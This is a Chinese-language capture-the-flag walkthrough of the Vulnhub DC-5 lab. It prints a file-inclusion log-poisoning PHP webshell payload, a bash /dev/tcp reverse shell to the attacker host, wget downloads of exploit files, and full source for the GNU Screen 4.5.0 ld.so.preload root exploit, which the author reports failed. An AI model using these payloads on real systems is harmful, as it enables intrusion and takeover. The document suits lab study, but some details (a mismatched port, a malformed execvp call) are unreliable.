Vulnhub练习DC-5 完整复现
字数 1122 2025-08-18 11:35:46

DC-5 靶机渗透测试完整复现教程

一、环境准备

靶机信息

  • 靶机名称: DC-5 (来自Vulnhub)
  • 可能的IP地址: 192.168.200.11 或 192.168.200.58
  • 开放服务: HTTP (80端口), RPC (111端口), 其他(43853端口)

攻击机信息

  • 系统: Kali Linux
  • IP地址: 192.168.200.14

二、信息收集阶段

1. 主机发现

使用三种方法扫描网段内存活主机:

# 方法1: arp-scan
arp-scan -l

# 方法2: nmap ping扫描
nmap -sP 192.168.200.0/24 -T4

# 方法3: netdiscover
netdiscover -i eth0 -r 192.168.200.0/24

2. 端口扫描与服务识别

# 基本扫描
nmap -sS -A 192.168.200.11 -p 1-65535

# 服务版本探测
nmap -sV -p- 192.168.200.11

扫描结果:

  • 80/tcp: HTTP服务
  • 111/tcp: RPC服务
  • 43853/tcp: 未知服务

3. Web应用初步分析

访问网站发现每次刷新页面时,底部时间会变化,可能存在文件包含漏洞。

4. 目录扫描

使用工具扫描网站目录,发现thankyou.php文件包含footer.php,进一步确认文件包含漏洞可能性。

三、漏洞利用

1. 文件包含漏洞验证

尝试访问:

http://192.168.200.11/?file=/etc/passwd

成功显示系统用户信息,确认存在文件包含漏洞。

2. 通过Nginx日志获取Webshell

Nginx日志路径:

  • /var/log/nginx/error.log
  • /var/log/nginx/access.log

利用方法:

  1. 通过Burp或直接URL访问将PHP代码写入日志
  2. 示例Payload:
http://192.168.200.11/?file=/var/log/nginx/access.log&cmd=<?php system($_GET['cmd']);?>

3. 建立Webshell连接

  1. 在Kali上开启监听:
nc -lvnp 4444
  1. 通过蚁剑或直接使用Webshell执行反弹shell命令:
bash -c 'bash -i >& /dev/tcp/192.168.200.14/4444 0>&1'
  1. 升级交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'

四、提权尝试

1. 查找SUID文件

find / -perm -u=s -type f 2>/dev/null

发现screen-4.5.0可能可利用。

2. 利用GNU Screen漏洞

  1. 搜索相关漏洞:
searchsploit screen 4.5.0
  1. 复制利用代码:
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh

3. 编译利用代码

将利用脚本拆分为三部分:

第一部分: libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

编译:

gcc -fPIC -shared -ldl -o libhax.so libhax.c

第二部分: rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

编译:

gcc -o rootshell rootshell.c

第三部分: DC-5.sh

#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

4. 文件传输与执行

  1. 在Kali上启动HTTP服务:
python -m http.server 8899
  1. 在靶机上下载文件:
wget http://192.168.200.14:8888/rootshell
wget http://192.168.200.14:8888/libhax.so
wget http://192.168.200.14:8888/DC-5.sh
  1. 执行提权:
chmod +x DC-5.sh
./DC-5.sh

5. 遇到的问题

执行时出现错误:

glibc_2.34 not found

可能是由于glibc版本不兼容导致提权失败。

五、可能的解决方案

  1. 尝试其他提权方法:

    • 检查内核版本寻找本地提权漏洞
    • 查找其他SUID程序
    • 检查crontab任务
  2. 针对glibc问题的解决:

    • 尝试在靶机上静态编译利用代码
    • 寻找与靶机glibc版本兼容的利用代码
  3. 参考其他资源:

六、总结

本教程详细记录了DC-5靶机的渗透过程,从信息收集到文件包含漏洞利用,再到提权尝试。虽然最后提权步骤遇到问题,但整个过程展示了完整的渗透测试思路和方法。对于遇到的glibc版本问题,需要进一步研究兼容性解决方案或寻找替代提权方法。

DC-5 靶机渗透测试完整复现教程 一、环境准备 靶机信息 靶机名称: DC-5 (来自Vulnhub) 可能的IP地址: 192.168.200.11 或 192.168.200.58 开放服务: HTTP (80端口), RPC (111端口), 其他(43853端口) 攻击机信息 系统: Kali Linux IP地址: 192.168.200.14 二、信息收集阶段 1. 主机发现 使用三种方法扫描网段内存活主机: 2. 端口扫描与服务识别 扫描结果: 80/tcp: HTTP服务 111/tcp: RPC服务 43853/tcp: 未知服务 3. Web应用初步分析 访问网站发现每次刷新页面时,底部时间会变化,可能存在文件包含漏洞。 4. 目录扫描 使用工具扫描网站目录,发现 thankyou.php 文件包含 footer.php ,进一步确认文件包含漏洞可能性。 三、漏洞利用 1. 文件包含漏洞验证 尝试访问: 成功显示系统用户信息,确认存在文件包含漏洞。 2. 通过Nginx日志获取Webshell Nginx日志路径: /var/log/nginx/error.log /var/log/nginx/access.log 利用方法: 通过Burp或直接URL访问将PHP代码写入日志 示例Payload: 3. 建立Webshell连接 在Kali上开启监听: 通过蚁剑或直接使用Webshell执行反弹shell命令: 升级交互式shell: 四、提权尝试 1. 查找SUID文件 发现 screen-4.5.0 可能可利用。 2. 利用GNU Screen漏洞 搜索相关漏洞: 复制利用代码: 3. 编译利用代码 将利用脚本拆分为三部分: 第一部分: libhax.c 编译: 第二部分: rootshell.c 编译: 第三部分: DC-5.sh 4. 文件传输与执行 在Kali上启动HTTP服务: 在靶机上下载文件: 执行提权: 5. 遇到的问题 执行时出现错误: 可能是由于glibc版本不兼容导致提权失败。 五、可能的解决方案 尝试其他提权方法: 检查内核版本寻找本地提权漏洞 查找其他SUID程序 检查crontab任务 针对glibc问题的解决: 尝试在靶机上静态编译利用代码 寻找与靶机glibc版本兼容的利用代码 参考其他资源: CSDN相关文章 六、总结 本教程详细记录了DC-5靶机的渗透过程,从信息收集到文件包含漏洞利用,再到提权尝试。虽然最后提权步骤遇到问题,但整个过程展示了完整的渗透测试思路和方法。对于遇到的glibc版本问题,需要进一步研究兼容性解决方案或寻找替代提权方法。